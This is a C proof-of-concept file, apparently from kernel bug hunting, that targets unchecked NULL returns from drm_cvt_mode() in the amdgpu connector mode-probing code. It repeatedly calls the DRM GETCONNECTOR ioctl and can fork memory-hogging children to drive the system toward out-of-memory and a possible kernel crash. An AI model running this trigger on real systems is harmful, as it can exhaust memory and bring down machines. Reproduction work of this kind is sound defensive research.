DF-4202 / trigger_df4202.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | /* * trigger_df4202.c โ DF-4202: unchecked drm_cvt_mode() results in * amdgpu_connector_lcd_native_mode (deref at :406) and * amdgpu_connector_add_common_modes (drm_mode_probed_add(NULL) at :460). * * drm_cvt_mode() returns NULL when drm_mode_create() fails (kzalloc or * drm_mode_object_add IDR failure โ drm_modes.c:66-80,143-169). The two * amdgpu sites use the result without a NULL check: * * :405 mode = drm_cvt_mode(dev, hdisplay, vdisplay, 60, true, false, false); * :406 mode->type = DRM_MODE_TYPE_PREFERRED | DRM_MODE_TYPE_DRIVER; <- deref * :459 mode = drm_cvt_mode(dev, w, h, 60, false, false, false); * :460 drm_mode_probed_add(connector, mode); <- list_add on NULL * * Reach: LVDS/eDP get_modes (amdgpu_connector_lvds_get_modes:668/676, * amdgpu_connector_dp_get_modes:1251/1259) โ i.e. every laptop panel mode * probe without EDID modes โ under kernel memory exhaustion (OOM-gated). * * This trigger hammers the probe path while a forked hog drives the system * toward memory exhaustion. Self-contained struct defs. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdint.h> typedef uint32_t __u32; typedef uint64_t __u64; #include <sys/wait.h> #define DRM_IOCTL_BASE 'd' #define DRM_IOCTL_MODE_GETRESOURCES _IOWR(DRM_IOCTL_BASE, 0xA0, struct drm_mode_card_res) #define DRM_IOCTL_MODE_GETCONNECTOR _IOWR(DRM_IOCTL_BASE, 0xA7, struct drm_mode_get_connector) struct drm_mode_card_res { __u64 fb_id_ptr, crtc_id_ptr, connector_id_ptr, encoder_id_ptr; __u32 count_fbs, count_crtcs, count_connectors, count_encoders; __u32 min_width, max_width, min_height, max_height; }; struct drm_mode_get_connector { __u64 encoders_ptr, modes_ptr, props_ptr, prop_values_ptr; __u32 count_modes, count_props, count_encoders; __u32 encoder_id, connector_id, connector_type, connector_type_id; __u32 connection, mm_width, mm_height, subpixel; }; static int probe_all(int fd, __u32 *ids, int n) { struct drm_mode_get_connector conn; int i, rounds = 0; for (i = 0; i < n; i++) { memset(&conn, 0, sizeof(conn)); conn.connector_id = ids[i]; conn.count_modes = 0; /* force fill_modes -> get_modes */ if (ioctl(fd, DRM_IOCTL_MODE_GETCONNECTOR, &conn) < 0) return -1; rounds++; } return rounds; } int main(int argc, char **argv) { struct drm_mode_card_res res; __u32 ids[32]; int fd, i; fd = open("/dev/dri/card0", O_RDWR | O_CLOEXEC); if (fd < 0) { printf("DF-4202 trigger: no /dev/dri/card0 โ no DRM hardware on " "this guest; amdgpu LVDS get_modes unreachable.\n"); return 1; } memset(&res, 0, sizeof(res)); res.count_connectors = 0; ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res); memset(ids, 0, sizeof(ids)); res.connector_id_ptr = (__u64)ids; if (res.count_connectors > 32) res.count_connectors = 32; if (ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res) < 0) { perror("GETRESOURCES"); return 1; } printf("DF-4202 trigger: %u connectors; hammering get_modes " "(drm_cvt_mode sites :405/:459) %s\n", res.count_connectors, argc > 1 ? "with memory-hog children" : ""); if (argc > 1) { /* OOM pressure: children allocate until ENOMEM, then exit so * the harness itself survives; kernel allocations for * drm_mode_create then start failing on the probe path. */ for (i = 0; i < 4; i++) { pid_t pid = fork(); if (pid == 0) { for (;;) malloc(1 << 20); /* die on ENOMEM */ _exit(0); } } } for (i = 0; i < 20000; i++) { if (probe_all(fd, ids, res.count_connectors) < 0) { perror("probe"); break; } } if (argc > 1) while (wait(NULL) > 0) ; printf("DF-4202 trigger: completed (no panic on this machine)\n"); return 0; } |